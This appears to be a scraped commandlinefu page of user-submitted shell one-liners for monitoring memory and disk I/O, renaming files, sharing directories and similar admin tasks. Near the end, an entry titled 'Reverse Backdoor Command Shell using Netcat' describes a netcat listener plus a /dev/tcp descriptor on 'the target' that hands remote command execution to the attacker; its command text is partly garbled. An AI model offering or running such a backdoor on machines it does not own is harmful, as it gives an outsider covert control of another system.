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display memory usage of a process

page where I got inspiration: http://www.commandlinefu.com/commands/view/5473/get-acurate-memory-usage-of-a-process-in-megabytes and http://www.commandlinefu.com/commands/view/10022/display-the-top-10-running-processes-sorted-by-memory-usage
This is sample output - yours may be different.
0

TOTAL_RAM=`free | head -n 2 | tail -n 1 | awk '{ print $2 }'`; PROC_RSS=`ps axo rss,comm | grep [h]ttpd | awk '{ TOTAL += $1 } END { print TOTAL }'`; PROC_PCT=`echo "scale=4; ( $PROC_RSS/$TOTAL_RAM ) * 100" | bc`; echo "RAM Used by HTTP: $PROC_PCT%"

0disse0 · 2012-02-03 16:10:36 12
Reads a list of urls, fetches each one and logs the url and http status code
This is sample output - yours may be different.
0

grep "$1" urls.txt | awk '{print "curl --write-out "$0"=http-%{http_code}\"\n\" --silent --output /dev/null "$0'} | sh >> responses.txt

CookyBear · 2012-04-30 01:02:50 3
Substring directory name match cd

If you have long and complicated folder names this might ease your work. add this into .bashrc Show Sample Output
This is sample output - yours may be different.
```
$ pwd
/tmp/test

$ ls -1
folder
application
backup

$ ccd up

$ pwd
/tmp/test/backup
```
0

ccd () { cd *$1*; }

saturation · 2012-07-01 10:46:06 5
save stderr only to a file

Appends output to the file, some systems require the -a to do this.
This is sample output - yours may be different.
0

command 3>&1 1>&2 2>&3 | tee -a file

netkill · 2012-10-30 15:40:08 4

I/O activity on a machine

Shows a constantly updating display of disk IO activity. Two sections are in the output. The first is the IO activity since the machine was booted, the second section is the IO activity in the last second Show Sample Output

This is sample output - yours may be different.

Every 1.0s: iostat -xmd 1 2                                                                          Sat Jul  6 02:05:14 2013

Linux 2.6.32-358.el6.x86_64 (webzv01.l.test.lan)     07/06/2013      _x86_64_

Device:         rrqm/s   wrqm/s     r/s     w/s    rMB/s    wMB/s avgrq-sz avgqu-sz   await  svctm  %util
vda               0.04     9.82    0.25    5.88     0.01     0.06    21.31     0.01    2.38   0.38   0.23
vda1              0.00     0.00    0.00    0.00     0.00     0.00    47.77     0.00   14.76   4.51   0.00
vda2              0.04     0.06    0.01    0.00     0.00     0.00    81.50     0.00    5.89   4.84   0.01
vda3              0.00     6.50    0.23    4.15     0.01     0.04    22.06     0.01    2.23   0.43   0.19
vda4              0.00     0.00    0.00    0.00     0.00     0.00     2.00     0.00   64.50  64.50   0.00
vda5              0.00     3.26    0.01    0.85     0.00     0.02    38.49     0.00    5.41   0.41   0.03
vdb               0.02     7.77    2.08   28.28     0.04     0.97    68.61     0.35   11.65   0.27   0.83
vdb1              0.02     7.77    2.08   28.28     0.04     0.97    68.61     0.35   11.65   0.27   0.83

Device:         rrqm/s   wrqm/s     r/s     w/s    rMB/s    wMB/s avgrq-sz avgqu-sz   await  svctm  %util
vda               0.00    19.00    0.00    5.00     0.00     0.09    38.40     0.00    0.80   0.40   0.20
vda1              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00
vda2              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00
vda3              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00
vda4              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00
vda5              0.00    19.00    0.00    5.00     0.00     0.09    38.40     0.00    0.80   0.40   0.20
vdb               0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00
vdb1              0.00     0.00    0.00    0.00     0.00     0.00     0.00     0.00    0.00   0.00   0.00

watch -n 1 'iostat -xmd 1 2'

ryanchapman · 2013-07-06 08:07:32 9

List directory sorted by last modified date. Tail of it.

alias lst="ls -ls -tr | tail" Show Sample Output

ls -ls -tr | tail

KopBoB · 2013-12-11 09:46:30 7

32 bits or 64 bits?
This is sample output - yours may be different.
0

uname -p

avs262 · 2014-10-13 23:05:53 9
Sort by size all hardlinked files in the current directory (and subdirectories)
This is sample output - yours may be different.
0

find / -xdev -printf '%h\n' | sort | uniq -c | sort -k 1 -n

alissonf · 2015-01-27 15:03:23 8
Watch for a process to start or stop
This is sample output - yours may be different.
0

watch -n 0.5 ps -C <processname>

scurge · 2015-05-22 02:22:10 9
Using NMAP to check if a port is open or close
This is sample output - yours may be different.
0

nmap -n 10.0.0.50 | grep udp | cut -d":"-f3>> test02

h_kaur2 · 2015-11-13 13:28:35 11
Get all domains from html

Obtener nombre de dominio de un archivo Show Sample Output
This is sample output - yours may be different.
```
algo.com
```
0

grep -oP '(?<=www\.)\s?[^\/]*' file | uniq

nedzoul · 2017-07-04 20:18:40 18
pipe remote log web server file to lostalgia

logstalgia must be installed
This is sample output - yours may be different.
0

ssh -n user@server.tr tail -f /usr/local/nginx/logs/access.log > /tmp/access | tail -f /tmp/access | logstalgia

aysadk · 2017-08-19 16:55:09 17
Unlock your KDE4 session remotely (for boxes locked by KDE lock utility)

For KDE 4.2.* with plasma overlay activated I use this.
This is sample output - yours may be different.
0

qdbus org.kde.krunner_lock /MainApplication quit; qdbus org.kde.plasma-overlay /MainApplication quit

unixmonkey7806 · 2010-01-11 15:10:07 5
Check whether laptop is running on battery or cable

With progress bar.. hahaa this is friggin' kludge Show Sample Output
This is sample output - yours may be different.
```
Current voltage: 11747 mV..
```
0

while true;do clear;echo -n Current\ `grep voltage /proc/acpi/battery/BAT0/state | awk '{print $2" "$3" "$4}'`;for i in `seq 1 5`;do sleep 1;echo -n .;done;done

lolcmd · 2010-06-11 06:30:17 3
Generate list of words and their frequencies in a text file.

Gives the same results as the command by putnamhill using nine less characters.
This is sample output - yours may be different.
0

tr -cs A-Za-z '\n' | sort | uniq -ci

TheMightyBuzzard · 2010-10-20 04:12:58 5
Prints out, what the users name, notifyed in the gecos field, is

finger - gets logged in users grep $(whoami) - greps only the current user (if there are more logged in) head -n1 - just one line awk '{print $2 " " $3}' - second and third word, seperated with a space (the users name) OT: My first commandlinefu-command :) Show Sample Output
This is sample output - yours may be different.
```
John Doe
```
0

finger | grep $(whoami) | head -n1 | awk '{print $2 " " $3}'

mogoh · 2011-01-07 16:54:11 6
recursively change file name from uppercase to lowercase (or viceversa)

Recursively changes every file case to lowercase
This is sample output - yours may be different.
0

for i in $(find . -type f); do mv "$i" "$(echo $i|tr A-Z a-z)"; done

pulketo · 2011-03-18 18:24:58 3
Destroy file contents after encryption

Make sure the file contents can't be retrieved if anyone gets ahold of your physical hard drive. With hard drive partition: gpg --default-recipient-self -o /path/to/encrypted_backup.gpg -e /dev/sdb1 && shred -z /dev/sdb1 WARNING/disclaimer: Be sure you... F&%k it--just don't try this.
This is sample output - yours may be different.
0

gpg -e --default-recipient-self <SENSITIVE_FILE> && shred -zu "$_"

h3xx · 2011-07-24 05:51:47 3

Shuffle songs with mplayer (sub-dirs too.)

So... I saw this: http://www.commandlinefu.com/commands/view/5385/play-all-the-music-in-a-folder-on-shuffle And I thought it would be cool to make it so that it will play songs in subdirectorys too. from: http://lists.mplayerhq.hu/pipermail/mplayer-dev-eng/2011-March/067853.html Show Sample Output

mplayer -shuffle $HOME/music/* $HOME/music/*/* $HOME/music/*/*/* etc.

TheShadowFog · 2011-11-09 01:45:51 3

Sort files by size
This is sample output - yours may be different.
0

ls -l | sort +4n for ascending order or ls -l | sort +4nr for descending order

zubair · 2012-04-30 02:52:31 4
Empty a file

Using only this, has the same. (tested in linux, HP-UX and AIX)
This is sample output - yours may be different.
0

> file.txt

arkanjo · 2012-08-24 06:51:13 5
Simple way to share a directory over http without touching your router

you need ruby gems and localtunnel, further instruction on their website for ubuntu precise, just intall ... sudo apt-get install ruby ruby1.8-dev rubygems1.8 libopenssl-ruby sudo gem install localtunnel ssh-keygen -t rsa python -m SimpleHTTPServer 8000 sudo localtunnel -k ~/.ssh/id_rsa.pub 8000 Show Sample Output
This is sample output - yours may be different.
```
for ubuntu precise, just intall ...
sudo apt-get install ruby ruby1.8-dev rubygems1.8 libopenssl-ruby
sudo gem install localtunnel
ssh-keygen -t rsa
python -m SimpleHTTPServer 8000
sudo localtunnel -k ~/.ssh/id_rsa.pub 8000
```
0

python -m SimpleHTTPServer 8000 &; sudo localtunnel -k ~/.ssh/id_rsa.pub 8000

dzup · 2012-10-30 17:52:14 9
strace a program

How to figure out what a program is doing. -tt detailed timestamps -f also strace any child processes -v be very verbose, even with common structures -o write output to file -s N capture up to N characters of strings, rather than abbreviating with ...
This is sample output - yours may be different.
0

strace -ttvfo /tmp/logfile -s 1024 program

ryanchapman · 2013-07-06 08:19:29 6
External IP (raw data)
This is sample output - yours may be different.
0

curl icanhazip.com

allea78 · 2013-09-18 11:12:15 6
Get result of command in pipe sequence

Using the $PIPESTATUS array you can get the results of a command in a sequence of commands piped together. The command above returns the result of grep -o "bob", which is exit result of 1 since no match was made. Show Sample Output
This is sample output - yours may be different.
```
1
```
0

echo "Dave" | grep -o "bob" | sed 's/D/f/'; echo ${PIPESTATUS[1]};

davethomas11 · 2014-06-21 04:00:53 10
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Open a manpage in the default (graphical) web browser

An easy alias for opening a manpage, nicely HTML formatted, in your set internet browser. If you get a "command exited with status 3" error you need to install groff.

list block devices

Shows all block devices in a tree with descruptions of what they are.

Reverse Backdoor Command Shell using Netcat

This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

Do some learning...

no loop, only one call of grep, scrollable ("less is more", more or less...)

tar exclude files or directories

If you want to exclude only one file or directory you should use as --exclude=file_or_directory

Display 6 largest installed RPMs sorted by size (descending)

Low on disk space? Check the largest installed RPMs for delete canditates.

Schedule Nice Background Commands That Won't Die on Logout - Alternative to nohup and at

Check out the usage of 'trap', you may not have seen this one much. This command provides a way to schedule commands at certain times by running them after sleep finishes sleeping. In the example 'sleep 2h' sleeps for 2 hours. What is cool about this command is that it uses the 'trap' builtin bash command to remove the SIGHUP trap that normally exits all processes started by the shell upon logout. The 'trap 1' command then restores the normal SIGHUP behaviour. It also uses the 'nice -n 19' command which causes the sleep process to be run with minimal CPU. Further, it runs all the commands within the 2nd parentheses in the background. This is sweet cuz you can fire off as many of these as you want. Very helpful for shell scripts.

Slow down the screen output of a command

(example above is the 'ls' command with reduced output speed)

zgrep across multiple files

list block devices

Shows all block devices in a tree with descruptions of what they are.

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